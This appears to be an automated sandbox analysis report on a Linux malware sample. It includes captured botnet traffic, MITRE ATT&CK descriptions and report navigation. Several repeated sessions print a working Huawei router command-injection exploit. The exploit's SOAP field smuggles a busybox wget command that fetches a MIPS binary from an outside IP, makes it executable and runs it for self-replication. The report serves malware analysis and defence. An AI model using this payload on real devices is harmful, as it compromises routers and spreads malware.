Jul 20, 2024 23:10:39.485534906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.15	59668	197.219.149.250	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.485534906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.15	55442	178.230.194.125	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.485534906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.15	58804	197.162.71.183	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.485534906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.15	47380	41.7.140.134	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.485534906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.15	49420	197.164.89.253	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.485534906 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

System Behavior

Analysis Process: Pn0jlaHvxE.elf PID: 5705, Parent PID: 5628

General

Start time (UTC):	21:10:36
Start date (UTC):	20/07/2024
Path:	/tmp/Pn0jlaHvxE.elf
Arguments:	/tmp/Pn0jlaHvxE.elf
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	21:10:36
Start date (UTC):	20/07/2024
Path:	/tmp/Pn0jlaHvxE.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	21:10:36
Start date (UTC):	20/07/2024
Path:	/tmp/Pn0jlaHvxE.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	21:10:36
Start date (UTC):	20/07/2024
Path:	/tmp/Pn0jlaHvxE.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	21:10:36
Start date (UTC):	20/07/2024
Path:	/tmp/Pn0jlaHvxE.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	21:10:36
Start date (UTC):	20/07/2024
Path:	/tmp/Pn0jlaHvxE.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Start time (UTC):	21:10:36
Start date (UTC):	20/07/2024
Path:	/tmp/Pn0jlaHvxE.elf
Arguments:	-
File size:	5388968 bytes
MD5 hash:	ae65271c943d3451b7f026d1fadccea6

Source: Pn0jlaHvxE.elf	ReversingLabs: Detection: 52%
Source: Pn0jlaHvxE.elf	Virustotal: Detection: 56%			Perma Link

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Pn0jlaHvxE.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.OFAVVJ (deleted)

/tmp/qemu-open.i9bZCR (deleted)

/tmp/qemu-open.w8AR8U (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Snort IDS Alerts

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: Pn0jlaHvxE.elf PID: 5705, Parent PID: 5628

General

Chronological Activities

Analysis Process: Pn0jlaHvxE.elf PID: 5707, Parent PID: 5705

General

Chronological Activities

Analysis Process: Pn0jlaHvxE.elf PID: 5709, Parent PID: 5707

General

Linux Analysis Report
Pn0jlaHvxE.elf